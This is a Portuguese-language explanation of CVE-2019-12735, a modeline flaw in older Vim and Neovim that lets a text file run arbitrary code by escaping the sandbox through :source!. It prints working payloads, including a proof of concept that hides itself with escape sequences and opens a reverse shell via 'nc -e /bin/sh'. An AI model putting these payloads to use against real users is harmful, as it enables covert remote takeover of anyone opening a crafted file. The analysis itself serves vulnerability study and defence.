
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
O Vim em versões anteriores à 8.1.1365 e o Neovim em versões anteriores à 0.3.6 têm uma vulnerabilidade que nos permite facilmente executar código arbitrário através de modeline ao abrir um arquivo de texto com conteúdo especial.
Modeline é um recurso habilitado por padrão, aplicado a todos os tipos de arquivo, incluindo arquivos .txt, para localizar e aplicar/executar automaticamente um conjunto de opções definidas por quem criou o arquivo no início e no final do arquivo. Abaixo está uma linha de comando modeline típica:
/* vim: set textwidth=80 tabstop=8: */
Para aumentar a segurança, apenas um subconjunto de opções é permitido nas modelines e, se o valor da opção contiver uma expressão, ela será executada em sandbox:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
A sandbox ajuda a prevenir efeitos colaterais
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
No entanto, o comando :source! (com [!] no final) pode ser usado para contornar a sandbox. Ele força o vim a ler e executar comandos de um determinado arquivo como se fossem digitados manualmente no vim, rodando-os fora da sandbox. É exatamente isso que cria a falha que permite a execução arbitrária de código através do vim.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
A partir dessa falha, é possível construir uma modeline para executar código fora da sandbox:
# vim: set foldexpr=execute('\:source! some_file'):
Também podemos usar assert_fails() como substituto para execute():
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
Adicione o caractere % após source! para executar o arquivo atual; o exemplo abaixo executa, em sequência, uname -a || "(garbage)" como comando de shell:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Além disso, a função nvim_input() é exclusiva para explorar a falha no Neovim e é usada como no exemplo a seguir:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
O autor apresentou um PoC que permite criar uma reverse shell, usando o caractere Esc para ocultar o conteúdo quando a vítima abre o arquivo, gravando um novo conteúdo nele.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
Acima está um PoC do autor; no entanto, para facilitar a compreensão do leitor, vamos remover algumas partes do PoC acima, ficando assim:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Ao abrir o vim, o recurso modeline verifica o início e o final do arquivo para encontrar a instrução modeline (aqui, 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'). Quando a encontra, executa a instrução. Conforme o funcionamento da modeline explicado acima, o comando source! % executa o arquivo atual como se estivéssemos digitando manualmente o conteúdo desse arquivo no vim.
Primeiro, ele executa a sequência "\x1bSNothing here.\x1b:silent! w ". Se você já usou o vim, certamente conhece o modo de execução de command no vim; para entrar nesse modo, basta pressionar a tecla Esc, cujo valor é 0x1b. É por isso que o início do PoC acima é 0x1b, para entrar no modo command no vim.
Uma vez no modo command, se pressionarmos a tecla S, o conteúdo da linha sob o cursor é imediatamente apagado e voltamos ao modo insert; por isso o próximo caractere é S, para apagar o conteúdo do arquivo do PoC e criar um novo conteúdo.
Nesse momento, o texto "Nothing here." é inserido no arquivo; em seguida vem o caractere Esc para voltar ao modo command e a sequência de comandos :silent! w para gravar o novo texto ("Nothing here.") no arquivo sem exibir qualquer mensagem na tela.
Depois de gravar o arquivo, ele prossegue executando o comando call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') e os comandos seguintes para obter a reverse shell. No último comando — silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n —, após silent! há o caractere #, o que faz o vim interpretar o restante como comentário e, portanto, não o executa.
Assim, quando o usuário abre o PoC acima com vim/neovim, o invasor obtém o shell do usuário sem que ele perceba, pois, do lado do usuário, apenas aparece a linha de texto "Nothing here.", que acabou de ser gravada por meio do recurso modeline.
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md